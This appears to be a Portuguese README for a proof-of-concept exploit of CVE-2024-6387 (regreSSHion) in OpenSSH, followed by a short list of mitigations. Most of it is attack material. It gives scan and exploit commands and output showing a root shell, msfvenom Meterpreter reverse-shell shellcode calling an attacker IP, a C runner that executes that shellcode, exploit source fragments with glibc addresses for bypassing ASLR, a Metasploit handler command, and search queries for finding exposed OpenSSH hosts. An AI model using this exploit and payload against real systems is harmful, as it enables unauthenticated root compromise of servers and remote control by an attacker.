
Exploit de prova de conceito para CVE-2024-6387 (regreSSHion) visando execução remota de código não autenticada no servidor OpenSSH via condição de corrida no manipulador de sinais. Inclui varredura, exploração e geração de reverse shell.
CVE-2024-6387 - PoCNota: Este script é um PoC protótipo rápido, podem ocorrer alguns erros e bugs. Testado em: Kali Linux, ParrotSec, Ubuntu 22.04
Vulnerabilidade de execução remota de código não autenticada no servidor OpenSSH
Foi encontrada uma condição de corrida no manipulador de sinais do servidor OpenSSH (sshd), onde um cliente não autentica dentro do tempo LoginGraceTime (120 por padrão, 600 em versões antigas do OpenSSH), então o manipulador SIGALRM do sshd é chamado assincronamente. No entanto, este manipulador de sinais chama várias funções que não são seguras para sinais assíncronos, por exemplo, syslog().
Podes encontrar os detalhes técnicos aqui.
A falha, descoberta por investigadores da Qualys em maio de 2024, e atribuída ao identificador CVE-2024-6387, deve-se a uma condição de corrida no manipulador de sinais do sshd que permite a atacantes remotos não autenticados executar código arbitrário como root.
"Se um cliente não autenticar dentro do tempo LoginGraceTime (120 segundos por padrão), então o manipulador SIGALRM do sshd é chamado assincronamente e chama várias funções que não são seguras para sinais assíncronos,"
"Um atacante remoto não autenticado pode tirar partido desta falha para executar código arbitrário com privilégios de root."
Requisito: python3 atualizado
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Autor: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Explorando vulnerabilidades...
A tentar exploração com base glibc: 0xb7200000
Tentativa 0 de 20000
Versão SSH recebida: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
KEX_INIT recebido (1024 bytes)
send_packet: Recurso temporariamente indisponível
send_packet: Recurso temporariamente indisponível
send_packet: Recurso temporariamente indisponível
send_packet: Recurso temporariamente indisponível
.....
Exploração bem-sucedida..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Gerando um shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] Nenhuma plataforma selecionada, escolhendo Msf::Module::Platform::Linux a partir do payload
[-] Nenhuma arquitetura selecionada, selecionando arch: x64 a partir do payload
Nenhum codificador especificado, a gerar payload bruto
Tamanho do payload: 130 bytes
Tamanho final do ficheiro c: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// Um placeholder do teu payload personalizado
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Executar shellcode
printf("A executar shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possíveis endereços base da glibc (para bypass de ASLR)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Placeholder do shellcode (substituir pelo shellcode real)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# compilando o payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Assim que receberes uma mensagem de exploração bem-sucedida, o msfconsole inicia automaticamente uma sessão Meterpreter.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessGestão de Patches: Aplicar rapidamente as patches disponíveis para o OpenSSH é crucial para fechar a janela de vulnerabilidade. A aplicação atempada de patches garante que explorações conhecidas não possam ser usadas contra os teus sistemas, reduzindo assim a janela de oportunidade para atacantes.
Controlo de Acesso Reforçado: Limitar o acesso SSH através de controlos baseados em rede adiciona uma camada extra de defesa. Esta abordagem minimiza a exposição a potenciais atacantes ao restringir conexões SSH apenas a redes ou endereços IP autorizados. Implementar ferramentas como regras de firewall ou usar VPNs para acesso seguro pode impor eficazmente estas restrições.
Segmentação de Rede: Dividir a tua rede em segmentos ajuda a conter o impacto de uma potencial violação. Ao segmentar sistemas críticos e dados sensíveis de partes menos críticas da tua rede, reduzes o risco de movimento lateral por parte de atacantes. Esta segmentação pode ser complementada com controlos de acesso rigorosos e monitorização para detetar e responder a qualquer tentativa não autorizada de violar estes segmentos.
Sistemas de Deteção de Intrusões (IDS): Implementar IDS ou sistemas de prevenção de intrusões (IPS) permite a monitorização em tempo real do tráfego de rede e registos do sistema. Estes sistemas podem detetar atividades suspeitas e potenciais tentativas de exploração associadas à vulnerabilidade regreSSHion. Alertas acionados por estes sistemas permitem uma investigação e mitigação rápidas antes que danos significativos possam ocorrer.
Monitorização de Tentativas de Exploração: A monitorização contínua dos registos de rede e sistema é crucial. Procura padrões ou atividades incomuns que possam indicar uma tentativa de explorar a vulnerabilidade do OpenSSH. Esta abordagem proativa ajuda a identificar e responder a ameaças antes que possam causar danos.